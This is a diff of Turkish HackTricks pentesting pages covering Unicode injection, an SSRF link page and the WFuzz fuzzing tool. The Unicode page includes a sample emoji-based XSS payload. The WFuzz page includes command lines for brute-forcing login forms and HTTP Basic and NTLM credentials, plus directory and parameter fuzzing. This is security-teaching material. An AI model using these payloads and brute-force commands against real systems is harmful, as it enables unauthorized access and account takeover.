<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SSRF Hassas Platformlar
# SSRF Açık Platformlar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** adresini kontrol edin
**[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** adresini kontrol edin.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# Unicode Enjeksiyonu
# Unicode Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Giriş
Arka plan/ön uç, **garip unicode karakterler alırsa**, bir saldırgan, XSS veya SQLi gibi enjeksiyon zafiyetlerini **atlatmak ve keyfi karakterler enjekte etmek** için kullanılabilecek korumaları **geçebilir**.
Arka uç/ön uç, **garip unicode karakterleri aldığında** nasıl davranıyorsa, bir saldırgan **korumaları atlayabilir ve rastgele karakterler enjekte edebilir**. Bu karakterler, XSS veya SQLi gibi **enjeksiyon zafiyetlerini kötüye kullanmak için** kullanılabilir.
## Unicode Normalizasyonu
Unicode normalizasyonu, **unicode karakterlerinin ascii karakterlere normalleştirilmesi** durumunda gerçekleşir.
Unicode normalizasyonu, **unicode karakterlerinin ascii karakterlerine normalleştirildiği** durumlarda gerçekleşir.
Bu tür bir zafiyetin yaygın bir senaryosu, sistem **kullanıcının girdisini kontrol ettikten sonra değiştiriyorsa** ortaya çıkar. Örneğin, bazı dillerde kullanıcının girdisini **büyük veya küçük harf yapmak** için yapılan basit bir çağrı, verilen girdiyi normalleştirebilir ve **unicode ASCII'ye dönüştürülerek yeni karakterler oluşturulabilir**.\
Bu tür bir zafiyetin yaygın bir senaryosu, sistemin kullanıcının **girişini kontrol ettikten sonra** bir şekilde **değiştirmesi** durumunda ortaya çıkar. Örneğin, bazı dillerde **girişi büyük veya küçük harfe dönüştürmek** için yapılan basit bir çağrı, verilen girişi normalleştirebilir ve **unicode ASCII'ye dönüştürülecek** yeni karakterler üretebilir.\
Daha fazla bilgi için kontrol edin:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %}
## `\u` to `%`
## `\u` ile `%`
Unicode karakterleri genellikle **`\u` önekiyle** temsil edilir. Örneğin, karakter `㱋` `\u3c4b`'dir ([buradan kontrol edin](https://unicode-explorer.com/c/3c4B)). Bir arka uç, öneki **`\u`'yi `%`'ye dönüştürürse**, elde edilen dize `%3c4b` olur ve URL çözümlenmiş hali: **`<4b`**. Ve görebileceğiniz gibi, bir **`<` karakteri enjekte edilir**.\
Eğer arka uç savunmasızsa, bu tekniği **herhangi bir karakteri enjekte etmek** için kullanabilirsiniz.\
İhtiyacınız olan karakterleri bulmak için [https://unicode-explorer.com/](https://unicode-explorer.com/) adresini kontrol edin.
Unicode karakterleri genellikle **`\u` ön eki** ile temsil edilir. Örneğin, `㱋` karakteri `\u3c4b`dir ([buradan kontrol edin](https://unicode-explorer.com/c/3c4B)). Eğer bir arka uç **`\u` ön ekini `%`'ye dönüştürürse**, sonuçta elde edilen dize `%3c4b` olacaktır, bu da URL çözümlendiğinde: **`<4b`** olur. Ve, görebileceğiniz gibi, bir **`<` karakteri enjekte edilmiştir**.\
Eğer arka uç zayıfsa, bu tekniği **herhangi bir tür karakteri enjekte etmek için** kullanabilirsiniz.\
Gerekli karakterleri bulmak için [https://unicode-explorer.com/](https://unicode-explorer.com/) adresini kontrol edin.
Bu zafiyet aslında bir araştırmacının bulduğu bir zafiyetten kaynaklanır, daha ayrıntılı bir açıklama için [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) adresine bakın.
Bu zafiyet aslında bir araştırmacının bulduğu bir zafiyetten gelmektedir, daha derin bir açıklama için [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) adresine bakın.
## Emoji Enjeksiyonu
Arka uçlar, **emoji alırsa** bazen garip davranışlar sergiler. Bu, araştırmacının `💋img src=x onerror=alert(document.domain)//💛` gibi bir payload ile XSS elde etmeyi başardığı [**bu yazıda**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) yaşandı.
Arka uçlar, **emoji aldıklarında** tuhaf bir şekilde davranır. Bu, araştırmacının `💋img src=x onerror=alert(document.domain)//💛` gibi bir yükle XSS elde etmeyi başardığı [**bu yazıda**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) olan durumdur.
Bu durumda, hatalı olan şey, sunucunun zararlı karakterleri kaldırdıktan sonra UTF-8 dizesini **Windows-1252'den UTF-8'e dönüştürmesi** idi (temel olarak giriş kodlaması ve dönüşüm kodlaması uyuşmuyordu). Ardından, bu, doğru bir < yerine garip bir unicode karakteri olan `` verir.\
``Sonra bu çıktıyı **UTF-8'den ASCII'ye yeniden dönüştürdüler**. Bu, ``'yi `<`'ye **normalleştirdi** ve bu sistemdeki saldırının nasıl çalışabileceğidir.\
Bu durumda, hata, sunucunun kötü niyetli karakterleri kaldırdıktan sonra **Windows-1252'den UTF-8'e UTF-8 dizesini dönüştürmesidir** (temelde giriş kodlaması ve dönüştürme kodlaması uyuşmazlığı). Bu, doğru bir < vermek yerine sadece tuhaf bir unicode verir: ``\
``Bu çıktıyı alıp **şimdi UTF-8'den ASCII'ye dönüştürdüler**. Bu, ``'yi `<` olarak **normalleştirdi**, bu da bu sistemdeki istismarın nasıl çalışabileceğidir.\
İşte olanlar:
```php
<?php
@ -59,16 +60,17 @@ Emoji listeleri:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,112 +1,33 @@
# Web Aracı - WFuzz
# Web Tool - WFuzz
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Herhangi bir yerde web uygulamalarını FUZZ etmek için bir araç.
Web uygulamalarını FUZZ yapmak için bir araç.
> [Wfuzz](https://github.com/xmendez/wfuzz), web uygulamalarının değerlendirmelerinde görevi kolaylaştırmak için oluşturulmuş olup, temel bir kavrama dayanır: FUZZ anahtar kelimesine yapılan herhangi bir başvuruyu belirli bir payload değeriyle değiştirir.
> [Wfuzz](https://github.com/xmendez/wfuzz), web uygulamaları değerlendirmelerinde görevi kolaylaştırmak için oluşturulmuştur ve basit bir kavrama dayanmaktadır: FUZZ anahtar kelimesine yapılan her referansı belirli bir yükün değeriyle değiştirir.
## Kurulum
Kali'de yüklü
Kali'ye kuruldu
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
```
pip install wfuzz
```
## Filtreleme seçenekleri
### Code
```plaintext
-c, --code <CODE>
```
Specify the expected HTTP response code(s) to filter the results. Multiple codes can be separated by commas.
### Size
```plaintext
-s, --size <SIZE>
```
Specify the expected HTTP response size(s) to filter the results. Multiple sizes can be separated by commas.
### Words
```plaintext
-w, --word <WORD>
```
Specify the expected word(s) to filter the results. Multiple words can be separated by commas.
### Regex
```plaintext
-r, --regex <REGEX>
```
Specify the regular expression(s) to filter the results. Multiple regular expressions can be separated by commas.
### Follow Redirects
```plaintext
--follow-redirects
```
Follow redirects and include them in the results.
### Exclude Redirects
```plaintext
--exclude-redirects
```
Exclude redirects from the results.
### Exclude Status Codes
```plaintext
--exclude-status <CODE>
```
Specify the HTTP response code(s) to exclude from the results. Multiple codes can be separated by commas.
### Exclude Sizes
```plaintext
--exclude-size <SIZE>
```
Specify the HTTP response size(s) to exclude from the results. Multiple sizes can be separated by commas.
### Exclude Words
```plaintext
--exclude-word <WORD>
```
Specify the word(s) to exclude from the results. Multiple words can be separated by commas.
### Exclude Regex
```plaintext
--exclude-regex <REGEX>
```
Specify the regular expression(s) to exclude from the results. Multiple regular expressions can be separated by commas.
```bash
--hs/ss "regex" #Hide/Show
#Simple example, match a string: "Invalid username"
@ -119,110 +40,16 @@ Specify the regular expression(s) to exclude from the results. Multiple regular
--hc/sc NUM #Hide/Show by response code
```
## Çıktı seçenekleri
wfuzz provides several options to control the output format and content. These options can be used to customize the way the results are displayed and saved.
### -o, --output \<file\>
Specify the output file where the results will be saved. This can be useful for further analysis or documentation purposes.
### -f, --filter \<expression\>
Apply a filter to the output results based on a given expression. This allows you to only display or save specific results that match the filter criteria.
### -c, --colorize
Enable colorized output for better readability. This option can be helpful when analyzing large amounts of data.
### -s, --saveoutput
Save the output results to a file. This option is useful when you want to save the results without displaying them on the screen.
### -d, --delimiter \<character\>
Specify a custom delimiter character to separate the output fields. By default, the delimiter is set to a comma (,).
### -t, --table
Display the output results in a table format. This option provides a more organized and structured view of the results.
### -l, --limit \<number\>
Limit the number of output results to be displayed or saved. This can be useful when dealing with large datasets to avoid overwhelming the screen or saving unnecessary data.
### -v, --verbose
Enable verbose mode to display additional information about the requests and responses. This can be helpful for debugging or understanding the behavior of the target application.
### -q, --quiet
Disable verbose mode and only display essential information. This option is useful when you want to minimize the amount of output displayed on the screen.
### -h, --help
Display the help menu with all the available options and their descriptions.
### -V, --version
Display the version information of wfuzz.
wfuzz, çıktı formatını ve içeriğini kontrol etmek için birkaç seçenek sunar. Bu seçenekler, sonuçların nasıl görüntüleneceği ve kaydedileceği özelleştirmek için kullanılabilir.
### -o, --output \<dosya\>
Sonuçların kaydedileceği çıktı dosyasını belirtin. Bu, daha fazla analiz veya belgeleme amaçları için kullanışlı olabilir.
### -f, --filter \<ifade\>
Verilen bir ifadeye dayalı olarak çıktı sonuçlarına bir filtre uygulayın. Bu, filtre kriterlerine uyan belirli sonuçları yalnızca görüntülemenize veya kaydetmenize olanak tanır.
### -c, --colorize
Daha iyi okunabilirlik için renkli çıktıyı etkinleştirin. Bu seçenek, büyük miktarda veri analiz ederken yardımcı olabilir.
### -s, --saveoutput
Çıktı sonuçlarını bir dosyaya kaydedin. Bu seçenek, sonuçları ekranda görüntülemeden kaydetmek istediğinizde kullanışlıdır.
### -d, --delimiter \<karakter\>
Çıktı alanlarını ayırmak için özel bir ayırıcı karakter belirtin. Varsayılan olarak, ayırıcı virgül (,) olarak ayarlanır.
### -t, --table
Çıktı sonuçlarını tablo formatında görüntüleyin. Bu seçenek, sonuçların daha düzenli ve yapılandırılmış bir görünümünü sağlar.
### -l, --limit \<sayı\>
Görüntülenecek veya kaydedilecek çıktı sonuçlarının sayısını sınırlayın. Bu, büyük veri kümeleriyle uğraşırken ekranıırı yüklememek veya gereksiz veri kaydetmemek için kullanışlı olabilir.
### -v, --verbose
İstekler ve yanıtlar hakkında ek bilgileri görüntülemek için ayrıntılı modu etkinleştirin. Bu, hata ayıklama veya hedef uygulamanın davranışını anlama konusunda yardımcı olabilir.
### -q, --quiet
Ayrıntılı modu devre dışı bırakın ve yalnızca temel bilgileri görüntüleyin. Bu seçenek, ekranda görüntülenen çıktı miktarını en aza indirmek istediğinizde kullanışlıdır.
### -h, --help
Tüm mevcut seçenekleri ve açıklamalarını içeren yardım menüsünü görüntüler.
### -V, --version
wfuzz'un sürüm bilgilerini görüntüler.
```bash
wfuzz -e printers #Prints the available output formats
-f /tmp/output,csv #Saves the output in that location in csv format
```
### Kodlayıcı seçenekleri
There are several encoding options available in wfuzz that can be used to modify the payloads sent during the fuzzing process. These encoding options can help bypass certain security measures or evade detection. The following are the available encoding options in wfuzz:
- **URL Encoding**: This option encodes special characters in the URL using percent-encoding. It is useful when fuzzing URLs that contain special characters that may be interpreted differently by the server.
- **HTML Encoding**: This option encodes special characters in the payload using HTML entities. It is useful when fuzzing web forms or input fields that may not properly handle special characters.
- **Base64 Encoding**: This option encodes the payload using Base64 encoding. It is useful when fuzzing parameters that are expected to be Base64 encoded.
- **Hex Encoding**: This option encodes the payload using hexadecimal representation. It is useful when fuzzing parameters that are expected to be in hexadecimal format.
- **Unicode Encoding**: This option encodes the payload using Unicode characters. It is useful when fuzzing parameters that may be vulnerable to Unicode-based attacks.
- **Double URL Encoding**: This option applies URL encoding twice to the payload. It can be used to bypass certain security filters that only decode the payload once.
- **UTF-8 Encoding**: This option encodes the payload using UTF-8 encoding. It is useful when fuzzing parameters that may be vulnerable to UTF-8-based attacks.
- **UTF-16 Encoding**: This option encodes the payload using UTF-16 encoding. It is useful when fuzzing parameters that may be vulnerable to UTF-16-based attacks.
- **UTF-32 Encoding**: This option encodes the payload using UTF-32 encoding. It is useful when fuzzing parameters that may be vulnerable to UTF-32-based attacks.
- **Mixed Encoding**: This option applies a combination of different encodings to the payload. It can be useful when fuzzing parameters that may be vulnerable to multiple encoding-based attacks.
These encoding options can be specified using the `--encoding` parameter in wfuzz.
```bash
wfuzz -e encoders #Prints the available encoders
#Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
```
Bir kodlayıcıyı kullanmak için, onu **"-w"** veya **"-z"** seçeneğinde belirtmelisiniz.
Bir encoder kullanmak için, bunu **"-w"** veya **"-z"** seçeneğinde belirtmeniz gerekir.
Örnekler:
```bash
@ -230,7 +57,7 @@ Bir kodlayıcıyı kullanmak için, onu **"-w"** veya **"-z"** seçeneğinde bel
-w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
```
## Hile Kağıdı
## CheetSheet
### Giriş Formu bruteforce
@ -239,184 +66,81 @@ Bir kodlayıcıyı kullanmak için, onu **"-w"** veya **"-z"** seçeneğinde bel
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line
```
#### **POST, 2 listesi, filtre kodu (göster)**
#### **POST, 2 liste, filtre kodu (göster)**
```bash
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
```
#### **GET, 2 listeler, dize filtresi (göster), proxy, çerezler**
#### **GET, 2 liste, filtreleme dizesi (göster), proxy, çerezler**
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
### Dizin/RESTful bruteforce saldırısı
### Bruteforce Dizin/RESTful bruteforce
[Arjun parametreleri wordlist'i](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
[Arjun parametreleri kelime listesi](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### Yol Parametreleri BF
Path parametreleri, bir URL'nin yolunda bulunan değişkenlerdir. Bu parametreler, web uygulamalarında dinamik içerik oluşturmak için kullanılır. WFuzz, bu path parametrelerini brute force saldırılarıyla keşfetmek için kullanılabilir.
WFuzz, bir wordlist (kelime listesi) ve hedef URL'yi kullanarak path parametrelerini brute force etmek için kullanılır. Wordlist, olası parametre değerlerini içeren bir liste olarak düşünülebilir. WFuzz, bu wordlist'i kullanarak hedef URL'ye farklı parametre değerleriyle istekler gönderir ve yanıtları analiz eder.
Bu saldırı, web uygulamasının path parametrelerinde güvenlik açıklarını keşfetmek için kullanılabilir. Örneğin, bir web uygulaması, path parametresini doğru bir şekilde doğrulamıyorsa veya sınırlamalar uygulamıyorsa, saldırganlar bu açığı kullanarak yetkisiz erişim elde edebilir veya hassas bilgilere erişebilir.
WFuzz, path parametrelerini brute force etmek için farklı saldırı modları sunar. Bunlar arasında `FUZZ`, `FUZZ2`, `FUZZ3` ve `FUZZ4` bulunur. Bu modlar, wordlist'teki her bir değeri hedef URL'ye ekleyerek istekleri gönderir.
Path parametreleri brute force saldırıları, web uygulamalarının güvenlik açıklarını keşfetmek için etkili bir yöntemdir. Ancak, bu saldırıları gerçekleştirirken yasal izinlere ve etik kurallara uyulması önemlidir.
### Path Parameters BF
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
### Başlık Kimlik Doğrulama
### Header Authentication
#### **Temel, 2 list, filtre dizesi (göster), proxy**
#### **Temel, 2 liste, filtre dizesi (göster), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```
#### **NTLM, 2 listesi, filtreleme dizesi (göster), proxy**
Bu bölümde, NTLM kimlik doğrulama protokolünü hedefleyen bir saldırıyı gerçekleştirmek için wfuzz aracını kullanacağız. Bu saldırıda, iki farklı liste kullanarak hedef web uygulamasında bulunan kullanıcı adlarını ve şifreleri deneyeceğiz. Ayrıca, sonuçları filtrelemek için bir dize kullanacağız ve bir proxy sunucusu üzerinden saldırıyı yönlendireceğiz.
```plaintext
wfuzz -c -z file,users.txt -z file,passwords.txt --hc 401,403 -u http://target.com/login.php -H "Authorization: NTLM FUZZ" -F "username=admin&password=FUZZ" -t 50 --filter "length(content) > 100" -p 127.0.0.1:8080
```
Bu komut, wfuzz aracını kullanarak NTLM kimlik doğrulama protokolünü hedefleyen bir saldırıyı gerçekleştirir. İlgili parametreler şunlardır:
- `-c`: Renkli çıktıyı etkinleştirir.
